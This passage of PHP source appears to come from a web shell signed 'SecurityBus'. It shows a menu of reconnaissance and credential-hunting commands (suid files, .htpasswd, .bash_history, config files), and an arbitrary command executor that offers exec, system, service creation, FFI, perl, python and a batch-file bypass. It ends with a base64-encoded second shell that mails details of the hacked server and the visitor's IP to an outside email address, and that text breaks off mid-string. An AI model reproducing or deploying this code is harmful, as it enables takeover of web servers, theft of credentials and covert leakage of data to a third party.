/w /b index.php'>Find index.php in current dir</option>\r\n\t\t<option value='dir /s /w /b *config*.php'>Find *config*.php in current dir </option>\r\n\t\t<option value='netstat -an'>Show active connections</option>\r\n\t\t<option value='net start'>Show running services</option>\r\n\t\t<option value='tasklist'>Show Pro</option>\r\n\t\t<option value='net user'>User accounts</option>\r\n\t\t<option value='net view'>Show computers</option>\r\n\t\t<option value='arp -a'>ARP Table</option>\r\n\t\t<option value='ipconfig /all'>IP Configuration</option>\r\n\t\t<option value='netstat -an'>netstat -an</option>\r\n\t\t<option value='systeminfo'>System Informations</option>\r\n\t\t<option value='getmac'>Get Mac Address</option>\r\n\t\t</select>\r\n\t\t\";\r\n\t}\r\n\telse {\r\n\t\techo \"\r\n\t\t<select name='alias' id='alias' onChange='AddAlias();' >\r\n\t\t<option value=''>NONE</option>\t\r\n\t\t<option value='ls -la'>List dir</option>\r\n\t\t<option value='cat /etc/hosts'>IP Addresses</option>\r\n\t\t<option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>\r\n\t\t<option value='lsattr -va'>list file attributes on a Linux second extended file system</option>\r\n\t\t<option value='netstat -an | grep -i listen'>show opened ports</option>\r\n\t\t<option value='find / -type f -perm -04000 -ls'>find all suid files</option>\r\n\t\t<option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>\r\n\t\t<option value='find / -type f -perm -02000 -ls'>find all sgid files</option>\r\n\t\t<option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>\r\n\t\t<option value='find / -type f -name config.inc.php'>find config.inc.php files</option>\r\n\t\t<option value='find / -type f -name \\\"config*\\\"'>find config* files</option>\r\n\t\t<option value='find . -type f -name \\\"config*\\\"'>find config* files in current dir</option>\r\n\t\t<option value='find / -perm -2 -ls'>find all writable folders and files</option>\r\n\t\t<option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>\r\n\t\t<option value='find / -type f -name service.pwd'>find all service.pwd files</option>\r\n\t\t<option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>\r\n\t\t<option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>\r\n\t\t<option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>\r\n\t\t<option value='find / -type f -name .bash_history'>find all .bash_history files</option>\r\n\t\t<option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>\r\n\t\t<option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>\r\n\t\t<option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>\r\n\t\t<option value='locate httpd.conf'>locate httpd.conf files</option>\r\n\t\t<option value='locate vhosts.conf'>locate vhosts.conf files</option>\r\n\t\t<option value='locate proftpd.conf'>locate proftpd.conf files</option>\r\n\t\t<option value='locate psybnc.conf'>locate psybnc.conf files</option>\r\n\t\t<option value='locate my.conf'>locate my.conf files</option>\r\n\t\t<option value='locate admin.php'>locate admin.php files</option>\r\n\t\t<option value='locate cfg.php'>locate cfg.php files</option>\r\n\t\t<option value='locate conf.php'>locate conf.php files</option>\r\n\t\t<option value='locate config.dat'>locate config.dat files</option>\r\n\t\t<option value='locate config.php'>locate config.php files</option>\r\n\t\t<option value='locate config.inc'>locate config.inc files</option>\r\n\t\t<option value='locate config.inc.php'>locate config.inc.php</option>\r\n\t\t<option value='locate config.default.php'>locate config.default.php files</option>\r\n\t\t<option value='locate config'>locate config* files </option>\r\n\t\t<option value='locate \\\".conf\\\"'>locate .conf files</option>\r\n\t\t<option value='locate \\\".pwd\\\"'>locate .pwd files</option>\r\n\t\t<option value='locate \\\".sql\\\"'>locate .sql files</option>\r\n\t\t<option value='locate \\\".htpasswd\\\"'>locate .htpasswd files</option>\r\n\t\t<option value='locate \\\".bash_history\\\"'>locate .bash_history files</option>\r\n\t\t<option value='locate \\\".mysql_history\\\"'>locate .mysql_history files</option>\r\n\t\t<option value='locate \\\".fetchmailrc\\\"'>locate .fetchmailrc files</option>\r\n\t\t<option value='locate backup'>locate backup files</option>\r\n\t\t<option value='locate dump'>locate dump files</option>\r\n\t\t<option value='locate priv'>locate priv files</option>\r\n\t\t</select>\r\n\t\t\";\r\n\t}\r\n}\r\nfunction CSS(\$sh3llColor) {\r\n\t\$css = \"\r\n\t<style>\r\n\tBODY\r\n\t{\r\n\t\tFONT-FAMILY: Verdana; \r\n\t\tmargin: 2;\r\n\t\tbackground-color: #000000;\r\n\t\tcolor:white;\r\n\t\tfont-size:10pt;\r\n\t}\r\n\tsy \r\n\t{\r\n\t\tcolor:\".\$sh3llColor.\";\r\n\t\tfont-size:7pt;\r\n\t}\r\n\t#Box\r\n\t{\r\n\t\tcolor:\".\$sh3llColor.\";\r\n\t\tbackground-color:#000;\r\n\t\tfont-size:14px;\r\n\t\tfont-weight:bold;\r\n\r\n\t\tborder:none;\r\n\t}\r\n\ttable \r\n\t{\r\n\t\tborder:none;\r\n\t\tBORDER: #eeeeee outset;\r\n\t\tBACKGROUND-COLOR: #000000;\r\n\t\tcolor: #cccccc;\r\n\t\tfont-size:10px;\r\n\t}\r\n\ttr \r\n\t{\r\n\t\tBORDER-RIGHT: #cccccc 1px solid;\r\n\t\tBORDER-TOP: #cccccc 1px solid;\r\n\t\tBORDER-LEFT: #cccccc 1px solid;\r\n\t\tBORDER-BOTTOM: #cccccc 1px solid;\r\n\t\tcolor: #ffffff;\r\n\t}\r\n\ttd \r\n\t{\r\n\t\tBORDER-RIGHT: #cccccc 1px solid;\r\n\t\tBORDER-TOP: #cccccc 1px solid;\r\n\t\tBORDER-LEFT: #cccccc 1px solid;\r\n\t\tBORDER-BOTTOM: #cccccc 1px solid;\r\n\t\tcolor: #cccccc;\r\n\t}\r\n\r\n\tinput \r\n\t{\r\n\t\tBORDER-RIGHT: \".\$sh3llColor.\" 1px solid;\r\n\t\tBORDER-TOP: \".\$sh3llColor.\" 1px solid;\r\n\t\tBORDER-LEFT: \".\$sh3llColor.\" 1px solid;\r\n\t\tBORDER-BOTTOM: \".\$sh3llColor.\" 1px solid;\r\n\t\tBACKGROUND-COLOR: #333333;\r\n\t\tfont: 9pt tahoma;\r\n\t\tcolor: #ffffff;\r\n\t}\r\n\tselect \r\n\t{\r\n\t\tBORDER-RIGHT: #ffffff 1px solid;\r\n\t\tBORDER-TOP: #999999 1px solid;\r\n\t\tBORDER-LEFT: #999999 1px solid;\r\n\t\tBORDER-BOTTOM: #ffffff 1px solid;\r\n\t\tBACKGROUND-COLOR: #000000;\r\n\t\tfont: 9pt tahoma;\r\n\t\tcolor: #CCCCCC;;\r\n\t}\r\n\tsubmit \r\n\t{\r\n\t\tBORDER: 1px outset buttonhighlight;\r\n\t\tBACKGROUND-COLOR: #272727;\r\n\t\twidth: 40%;\r\n\t\tcolor: #cccccc;\r\n\t}\r\n\ttextarea \r\n\t{\r\n\t\tBORDER-RIGHT: #ffffff 1px solid;\r\n\t\tBORDER-TOP: #999999 1px solid;\r\n\t\tBORDER-LEFT: #999999 1px solid;\r\n\t\tBORDER-BOTTOM: #ffffff 1px solid;\r\n\t\tBACKGROUND-COLOR: #333333;\r\n\t\tcolor: #ffffff;\r\n\t}\r\n\t.Save{\r\n\t\twidth:500px;\t\r\n\t\tborder-color:red;\r\n\t}\r\n\tA:link {COLOR:\".\$sh3llColor.\"; TEXT-DECORATION: none;}\r\n\tA:visited { COLOR:\".\$sh3llColor.\"; TEXT-DECORATION: none;}\r\n\tA:active {COLOR:\".\$sh3llColor.\"; TEXT-DECORATION: none;}\r\n\tA:hover {color:blue;TEXT-DECORATION: none;}\r\n\t</style>\r\n\t<script>\r\n\tfunction openPHPInfo(){my_window= window.open (\\\"?info=getPhpInfo\\\",\\\"PHP Info\\\",\\\"width=800,height=600,scrollbars=1\\\");\t}\r\n\tfunction AddAlias(){document.getElementById('CMD_Line').value = document.getElementById('alias').value; }\r\n\tfunction addUploadInput(){document.getElementById('uploadInput').innerHTML += '<input type=\\'file\\' name=\\'uploadfile[]\\'>';\t}\r\n\tfunction change_dir_mode() {\r\n\t\tvar dir_mode = document.getElementById('dir_mode').value;\r\n\t\tdocument.location = '?dir_mode='+dir_mode;\r\n\t}\r\n\t</script>\r\n\t\";\r\n\treturn \$css;\r\n}\r\nfunction filter(\$string) {\r\n\tif(get_magic_quotes_gpc() != 0){return stripslashes(\$string);\t}\r\n\telse{return \$string;\t}\r\n}\r\nfunction footer() {\r\n\techo '\r\n\t<table width=\"100%\">\r\n\t<tr>\r\n\t<td width=\"100%\"><center>\r\n\t<sy> ~~<< </sy>SecurityBus<sy> >>~~</sy></b><br/>\r\n\t<sy> ~~<< </sy>s4f3w3b@yahoo.com<sy> >>~~</sy></b>\r\n\t</center></td>\r\n\t</tr>\r\n\t</table>\r\n\t</body></html>\r\n\t';\r\n}\r\nfunction print_exe_method() {\r\n\tglobal \$os; global \$exec_method;\r\n\tif(\$os == \"Linux\") {\r\n\t\t?>\r\n\t\t<select name=\"exe_method\" >\r\n\t\t\t<option value=\"exec\" <?php if(\$exec_method == \"exec\") {echo \"selected\";} ?>>exec()</option>\r\n\t\t\t<option value=\"system\" <?php if(\$exec_method == \"system\") {echo \"selected\";} ?>>system</option>\r\n\t\t\t<option value=\"shell_exec\" <?php if(\$exec_method == \"shell_exec\") {echo \"selected\";} ?>>shell_exec</option>\r\n\t\t\t<option value=\"passthru\" <?php if(\$exec_method == \"passthru\") {echo \"selected\";} ?>>passthru()</option>\r\n\t\t\t<option value=\"proc_open\" <?php if(\$exec_method == \"proc_open\") {echo \"selected\";} ?>>proc_open()</option>\r\n\t\t\t<option value=\"popen\" <?php if(\$exec_method == \"popen\") {echo \"selected\";} ?>>popen()</option>\r\n\t\t\t<option value=\"perl\" <?php if(\$exec_method == \"perl\") {echo \"selected\";} ?>>perl</option>\r\n\t\t\t<option value=\"python\" <?php if(\$exec_method == \"python\") {echo \"selected\";} ?>>python</option>\r\n\t\t</select>\r\n\t\t<?php\r\n\t} else {\r\n\t\t?>\r\n\t\t<select name=\"exe_method\" >\r\n\t\t\t<option value=\"exec\" <?php if(\$exec_method == \"exec\") {echo \"selected\";} ?>>exec()</option>\r\n\t\t\t<option value=\"system\" <?php if(\$exec_method == \"system\") {echo \"selected\";} ?>>system()</option>\r\n\t\t\t<option value=\"shell_exec\" <?php if(\$exec_method == \"shell_exec\") {echo \"selected\";} ?>>shell_exec()</option>\r\n\t\t\t<option value=\"passthru\" <?php if(\$exec_method == \"passthru\") {echo \"selected\";} ?>>passthru()</option>\r\n\t\t\t<option value=\"proc_open\" <?php if(\$exec_method == \"proc_open\") {echo \"selected\";} ?>>proc_open()</option>\r\n\t\t\t<option value=\"popen\" <?php if(\$exec_method == \"popen\") {echo \"selected\";} ?>>popen()</option>\r\n\t\t\t<option value=\"win_shell_execute\" <?php if(\$exec_method == \"win_shell_execute\") {echo \"selected\";} ?>>win_shell_execute()</option>\r\n\t\t\t<option value=\"win32_create_service\" <?php if(\$exec_method == \"win32_create_service\") {echo \"selected\";} ?>>win32_create_service()</option>\r\n\t\t\t<option value=\"ffi\" <?php if(\$exec_method == \"ffi\") {echo \"selected\";} ?>>ffi</option>\r\n\t\t\t<option value=\"perl\" <?php if(\$exec_method == \"perl\") {echo \"selected\";} ?>>perl</option>\r\n\t\t\t<option value=\"python\" <?php if(\$exec_method == \"python\") {echo \"selected\";} ?>>python</option>\r\n\t\t\t<option value=\"slash_bypass <?php if(\$exec_method == \"slash_bypass\") {echo \"selected\";} ?>\">slash bypass</option>\r\n\t\t</select>\r\n\t\t<?php\r\n\t}\r\n}\r\nfunction Exe(\$command) {\r\n\tglobal \$dir;global \$os;global \$exec_method;\r\n\t\$command = filter(\$command);\r\n\t\r\n\tif(\$exec_method == \"exec\") {\r\n\t\texec(\$command,\$output);echo join(\"\\n\",\$output);\r\n\t} else if(\$exec_method == \"system\") {\r\n\t\tsystem(\$command);\r\n\t} else if(\$exec_method == \"shell_exec\") {\r\n\t\techo shell_exec(\$command);\r\n\t} else if(\$exec_method == \"passthru\") {\r\n\t\tpassthru(\$command);\r\n\t} else if(\$exec_method == \"proc_open\") {\r\n\t\techo proc_exec(\$command,\$dir);\r\n\t} else if(\$exec_method == \"popen\") {\r\n\t\t\$fp = popen(\$command,\"r\");{while(!feof(\$fp)){\$result.=fread(\$fp,1024);}pclose(\$fp);}echo convert_cyr_string(\$result,\"d\",\"w\");\r\n\t} else if(\$exec_method == \"win_shell_execute\") {\r\n\t\techo winshell(\$command);\r\n\t} else if(\$exec_method == \"win32_create_service\") {\r\n\t\techo srvshell(\$command);\r\n\t} else if(\$exec_method == \"ffi\") {\r\n\t\techo ffishell(\$command);\r\n\t} else if(\$exec_method == \"perl\") {\r\n\t\techo perlshell(\$command);\r\n\t} else if(\$exec_method == \"python\") {\r\n\t\techo python_eval(\"import os\\nos.system('\".\$command.\"')\");\r\n\t} else if(\$exec_method == \"slash_bypass\") {\r\n\t\techo slashBypass(\$command);\r\n\t}\r\n}\r\nfunction proc_exec(\$com , \$dir) {\r\n \$start_pipe=array(0=>array(\"pipe\",\"w\"),1=>array(\"pipe\",\"w\"));\r\n \$process=proc_open(\$com,\$start_pipe,\$pipes,\$dir,NULL);\r\n return stream_get_contents(\$pipes[1]);\r\n}\r\nfunction winshell(\$command) {\r\n\t\$name=whereistmP().\"\\\\\".uniqid('NJ');\r\n\twin_shell_execute('cmd.exe','',\"/C \$command >\\\"\$name\\\"\");\r\n\tsleep(1);\r\n\t\$exec=file_get_contents(\$name);\r\n\tDeleteFile(\$name);\r\n\treturn \$exec;\r\n}\r\nfunction srvshell(\$command) {\r\n\t\$name=whereistmP().\"\\\\\".uniqid('NJ');\r\n\t\$n=uniqid('NJ');\r\n\t\$cmd=(empty(\$_SERVER['ComSpec']))?'d:\\\\windows\\\\system32\\\\cmd.exe':\$_SERVER['ComSpec'];\r\n\twin32_create_service(array('service'=>\$n,'display'=>\$n,'path'=>\$cmd,'params'=>\"/c \$command >\\\"\$name\\\"\"));\r\n\twin32_start_service(\$n);\r\n\twin32_stop_service(\$n);\r\n\twin32_delete_service(\$n);\r\n\twhile(!file_exists(\$name))sleep(1);\r\n\t\$exec=file_get_contents(\$name);\r\n\tDeleteFile(\$name);\r\n\treturn \$exec;\r\n}\r\nfunction ffishell(\$command) {\r\n\t\$name=whereistmP().\"\\\\\".uniqid('NJ');\r\n\t\$api=new ffi(\"[lib='kernel32.dll'] int WinExec(char *APP,int SW);\");\r\n\t\$res=\$api->WinExec(\"cmd.exe /c \$command >\\\"\$name\\\"\",0);\r\n\twhile(!file_exists(\$name))sleep(1);\r\n\t\$exec=file_get_contents(\$name);\r\n\tDeleteFile(\$name);\r\n\treturn \$exec;\r\n}\r\nfunction perlshell(\$command) {\r\n\t\$perl=new perl();\r\n\tob_start();\r\n\t\$perl->eval(\"system('\".\$command.\"')\");\r\n\t\$exec=ob_get_contents();\r\n\tob_end_clean();\r\n\treturn \$exec;\r\n}\r\nfunction slashBypass(\$cmd) {\r\n\tGenerateFile(\"cmd.bat\",\"\$cmd>sy3.txt\".\"\\r\\n exit\");\r\n\texec(\"\\start cmd.bat\");\r\n\t\$content = file_get_contents('sy3.txt');\r\n\tunlink('sy3.txt');\r\n\treturn \$content;\r\n}\r\nfunction GenerateFile(\$name,\$content) {\r\n\tif(function_exists('fopen') && function_exists('fclose')) {\r\n\t\t\$file = fopen(\$name,\"w+\");\r\n\t\tif(\$file) {\r\n\t\t\tif(function_exists('fwrite')){\$writeFile = fwrite(\$file,\$content); }\t\r\n\t\t\telse if (function_exists('fputs')){\$writeFile = fputs(\$file,\$content); }\r\n\t\t\telse if (function_exists('file_put_contents')){\$writeFile = file_put_contents(\$file,\$content);}\r\n\t\t\tif(!\$writeFile){return false;}\r\n\t\t}\r\n\t\telse{return false;}fclose(\$file);return true;\r\n\t}\r\n}\r\nfunction ScanDirs() {\r\n\tglobal \$os; global \$dir;global \$safeMode;global \$dir_mode;\r\n\tif(\$dir_mode == \"cmd\"){if(\$os == \"Windows\"){Exe('dir');}else{ Exe('ls -lia');}}\r\n\telse {\r\n\t\t\$result .= \"Perms\tSize\tTime\t\tOwner/Group\tR/W\tType\tFile\r\n-----------------------------------------------------------------------------\r\n\";\r\n\t\t\$handel = opendir(\$dir);\r\n\t\twhile((\$file = readdir(\$handel))!= false) \r\n\t\t{\r\n\t\t\t\$size = filesize(\$file);\r\n\t\t\tif(filetype(\$file) == \"dir\"){\$type = \"<DIR>\";}else {\$type = \"<FILE>\";}\r\n\t\t\tif(fileowner(\$file)){\$owner = fileowner(\$file);}else{\$owner = \"NONE\";}\r\n\t\t\tif(filegroup(\$file)){\$group = filegroup(\$file);}else{\$group = \"NONE\";}\r\n\t\t\t\$perms = fileperms(\$file);\r\n\t\t\t\$time = date(\"y/m/d\", filectime(\$file));\r\n\t\t\tif(is_writable(\$file)){\$isWritable = \"Y\";}else{\$isWritable = \"N\";}\r\n\t\t\tif(is_readable(\$file)){\$isReadable = \"Y\";}else{\$isReadable = \"N\";}\r\n\t\t\t\$result .= \$perms.\"\t\".\$size.\"\t\".\$time.\"\t\".\$owner.\"/\".\$group.\"\t\".\$isReadable.\"/\".\$isWritable.\"\t\".\$type.\"\t\".\$file.\"\r\n\";\r\n\t\t}\r\n\t}\r\n\treturn \$result;\r\n}\r\necho footer();\r\n?>\r\n");
echo "<a href='./shells/isra.php'>Here isra.php</a><br>";
$secu = 'PD9waHAgDQplcnJvcl9yZXBvcnRpbmcoNyk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsNCi8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7DQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsNCmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7DQoJZm9yZWFjaCgkJF9yZXF1ZXN0IGFzICRfa2V5ID0+ICRfdmFsdWUpIHsNCgkJaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KCQkJaWYgKElTX0dQQykgew0KCQkJCSRfdmFsdWUgPSBzX2FycmF5KCRfdmFsdWUpOw0KCQkJfQ0KCQkJJCRfa2V5ID0gJF92YWx1ZTsNCgkJfQ0KCX0NCn0NCg0KLyo9PT09PT09PT09PT09PT09PSAgSW5mbyBMb2dpbiAgPT09PT09PT09PT09PT09PSovDQokYWRtaW4gPSBhcnJheSgpOw0KJGFkbWluWydjaGVjayddID0gdHJ1ZTsNCiRhZG1pblsncGFzcyddICA9ICdnMXU1eSc7IC8vIFBhc3N3b3JkIGxvZ2luDQokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZWRvbWFpbiddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSBFbmQgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnYmlnNScpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZ2JrJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTIiKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQokdGltZXN0YW1wID0gdGltZSgpOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7DQoJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9Jy4kc2VsZi4nIj4nKTsNCglwKCc8Ym9keSBiYWNrZ3JvdW5kPWh0dHA6Ly9pMTEyNC5waG90b2J1Y2tldC5jb20vYWxidW1zL2w1NzUvZ2l2YXkvdGhfbWF0cml4LmdpZj4nKTsNCglleGl0Ow0KfQ0KaWYoJGFkbWluWydjaGVjayddKSB7DQoJaWYgKCRkb2luZyA9PSAnbG9naW4nKSB7DQoJCWlmICgkYWRtaW5bJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsNCgkJCXNjb29raWUoJ3ZiYXBhc3MnLCAkcGFzc3dvcmQpOw0KDQokdGltZV9zaGVsbCA9ICIiLmRhdGUoImQvbS9ZIC0gSDppOnMiKS4iIjsNCiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiRmcm9tX3NoZWxsY29kZSA9ICdzaGVsbEAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLicnOw0KJHRvX2VtYWlsID0gJ3M0ZjN3M2JAeWFob28uY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIyO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGJvZHkgYmFja2dyb3VuZD1odHRwOi8vaTExMjQucGhvdG9idWNrZXQuY29tL2FsYnVtcy9sNTc1L2dpdmF5L3RoX21hdHJpeC5naWY+DQo8QlI+PEJSPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+V2VsY29tZSBiYWNrIFNlY3VyaXR5QnVzIC0gUGxlYXNlIHdhaXQuLi48QlI+PGltZyBzcmM9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9sb2FkaW5nLmdpZj48L2Rpdj4nKTsNCgkJCWV4aXQ7DQoJCX0NCg0KCWVsc2UNCgl7DQoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jMEUwRTBFIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOw0KZWNobyAkZXJyX21lc3M7DQoJfX0NCglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgew0KCQlpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSAhPSAkYWRtaW5bJ3Bhc3MnXSkgew0KCQkJbG9naW5wYWdlKCk7DQoJCX0NCgl9IGVsc2Ugew0KCQlsb2dpbnBhZ2UoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMb2dpbiA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokZXJybXNnID0gJyc7DQoNCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCg0KaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7DQoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCSRlcnJtc2cgPSAnVGhlIGZpbGUgeW91IHdhbnQgRG93bmxvYWRhYmxlIHdhcyBub25leGlzdGVudCc7DQoJfSBlbHNlIHsNCgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOw0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KCQlleGl0Ow0KCX0NCn0NCg0KDQppZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgISRzYXZlYXNmaWxlKSB7DQoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoJJHJlc3VsdCA9IHEoIlNIT1cgdGFibGVzIik7DQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCSRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nc3FsLmd6Jyk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsNCgkkbXlzcWxkYXRhID0gJyc7DQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyBNeXNxbA0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoJfSBlbHNlIHsNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoJCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCQl9IGVsc2Ugew0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KCQkJaWYoISRyZXN1bHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvL0Rvd25sb2FkIFNRTA0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzc